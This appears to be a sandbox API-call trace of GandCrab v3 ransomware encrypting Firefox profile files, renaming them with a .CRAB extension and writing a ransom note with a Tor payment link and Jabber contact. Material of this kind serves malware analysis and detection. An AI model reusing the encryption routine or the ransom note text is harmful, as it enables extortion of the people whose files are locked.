	[0119.856] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6ed98) returned 1
	[0119.856] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0119.857] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0119.857] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0119.857] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0119.857] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0119.857] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.857] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6eb78) returned 1
	[0119.858] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0119.858] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0119.859] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0119.859] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0119.859] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0119.859] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.859] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0119.859] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0119.860] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e9e0) returned 1
	[0119.860] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xded5a8) returned 1
	[0119.860] CryptGetKeyParam (in: hKey=0xded5a8, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0119.860] CryptEncrypt (in: hKey=0xded5a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0119.861] GetLastError () returned 0x0
	[0119.861] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0119.861] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e9e0) returned 1
	[0119.861] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xded8e8) returned 1
	[0119.861] CryptGetKeyParam (in: hKey=0xded8e8, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0119.861] CryptEncrypt (in: hKey=0xded8e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0119.862] GetLastError () returned 0x0
	[0119.862] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0119.863] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-plugins.json.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0119.865] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0119.866] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0119.866] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x312c0, lpOverlapped=0x0) returned 1
	[0119.886] VirtualAlloc (lpAddress=0x0, dwSize=0x312c0, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0119.889] VirtualAlloc (lpAddress=0x0, dwSize=0x312c0, flAllocationType=0x3000, flProtect=0x4) returned 0x34b0000
	[0119.894] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.895] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffced40, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.895] WriteFile (in: hFile=0x3e0, lpBuffer=0x34b0000*, nNumberOfBytesToWrite=0x312c0, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x34b0000*, lpNumberOfBytesWritten=0x3149f14*=0x312c0, lpOverlapped=0x0) returned 1
	[0119.896] VirtualFree (lpAddress=0x34b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.897] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.901] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0119.901] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0119.901] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0119.901] CloseHandle (hObject=0x3e0) returned 1
	[0119.905] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.905] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.906] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.906] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.906] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.906] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.907] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0119.907] lstrcmpW (lpString1="blocklist.xml", lpString2=".") returned 1
	[0119.907] lstrcmpW (lpString1="blocklist.xml", lpString2="..") returned 1
	[0119.907] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="blocklist.xml" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml"
	[0119.907] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.907] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml") returned 93
	[0119.907] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml") returned 93
	[0119.907] lstrlenW (lpString=".xml") returned 4
	[0119.907] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.908] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xml ") returned 5
	[0119.908] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.908] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml") returned 93
	[0119.908] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml") returned 93
	[0119.908] lstrcmpiW (lpString1="blocklist.xml", lpString2="desktop.ini") returned -1
	[0119.908] lstrcmpiW (lpString1="blocklist.xml", lpString2="autorun.inf") returned 1
	[0119.908] lstrcmpiW (lpString1="blocklist.xml", lpString2="ntuser.dat") returned -1
	[0119.908] lstrcmpiW (lpString1="blocklist.xml", lpString2="iconcache.db") returned -1
	[0119.908] lstrcmpiW (lpString1="blocklist.xml", lpString2="bootsect.bak") returned -1
	[0119.908] lstrcmpiW (lpString1="blocklist.xml", lpString2="boot.ini") returned -1
	[0119.908] lstrcmpiW (lpString1="blocklist.xml", lpString2="ntuser.dat.log") returned -1
	[0119.908] lstrcmpiW (lpString1="blocklist.xml", lpString2="thumbs.db") returned -1
	[0119.908] lstrcmpiW (lpString1="blocklist.xml", lpString2="CRAB-DECRYPT.txt") returned -1
	[0119.908] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.909] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml.CRAB") returned 98
	[0119.909] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist.xml")) returned 0x20
	[0119.910] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml", dwFileAttributes=0x20) returned 1
	[0119.910] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist.xml"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist.xml.crab")) returned 1
	[0119.911] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0119.911] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml.CRAB"
	[0119.912] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml.CRAB.CRAB"
	[0119.912] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6ec00) returned 1
	[0119.912] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0119.913] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0119.913] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0119.913] CryptGenRandom (in: hProv=0xd6ec00, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0119.913] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0119.913] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.913] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e9e0) returned 1
	[0119.914] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0119.914] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0119.914] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0119.914] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0119.915] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0119.915] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.915] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0119.915] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0119.916] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6eb78) returned 1
	[0119.916] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xded528) returned 1
	[0119.917] CryptGetKeyParam (in: hKey=0xded528, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0119.917] CryptEncrypt (in: hKey=0xded528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0119.917] GetLastError () returned 0x0
	[0119.917] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0119.917] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0119.918] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xded928) returned 1
	[0119.918] CryptGetKeyParam (in: hKey=0xded928, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0119.918] CryptEncrypt (in: hKey=0xded928, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0119.918] GetLastError () returned 0x0
	[0119.918] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0119.918] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist.xml.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0119.919] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0119.919] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0119.919] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x3ef9f, lpOverlapped=0x0) returned 1
	[0119.995] VirtualAlloc (lpAddress=0x0, dwSize=0x3efa0, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0119.998] VirtualAlloc (lpAddress=0x0, dwSize=0x3efa0, flAllocationType=0x3000, flProtect=0x4) returned 0x34b0000
	[0120.002] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.005] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffc1061, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.005] WriteFile (in: hFile=0x3e0, lpBuffer=0x34b0000*, nNumberOfBytesToWrite=0x3efa0, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x34b0000*, lpNumberOfBytesWritten=0x3149f14*=0x3efa0, lpOverlapped=0x0) returned 1
	[0120.006] VirtualFree (lpAddress=0x34b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.007] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.011] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0120.011] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0120.011] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0120.011] CloseHandle (hObject=0x3e0) returned 1
	[0120.016] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.016] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.016] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.017] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.017] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.017] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.017] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0120.017] lstrcmpW (lpString1="bookmarkbackups", lpString2=".") returned 1
	[0120.017] lstrcmpW (lpString1="bookmarkbackups", lpString2="..") returned 1
	[0120.017] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups"
	[0120.017] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\"
	[0120.017] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.018] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0120.018] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0120.018] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0120.018] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0120.018] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.018] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x31494c8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0120.018] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0120.018] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0120.018] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148cb0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0120.018] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0120.019] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0120.019] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.019] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\\\CRAB-DECRYPT.txt") returned 113
	[0120.019] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\bookmarkbackups\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0120.020] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0120.020] WriteFile (in: hFile=0x3e0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x31494ac, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x31494ac*=0xcce, lpOverlapped=0x0) returned 1
	[0120.021] CloseHandle (hObject=0x3e0) returned 1
	[0120.021] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.022] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\") returned 96
	[0120.022] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\*"
	[0120.022] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\*", lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0xded328
	[0120.022] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0120.022] FindNextFileW (in: hFindFile=0xded328, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0120.022] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0120.022] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0120.022] FindNextFileW (in: hFindFile=0xded328, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0120.022] lstrcmpW (lpString1="bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4", lpString2=".") returned 1
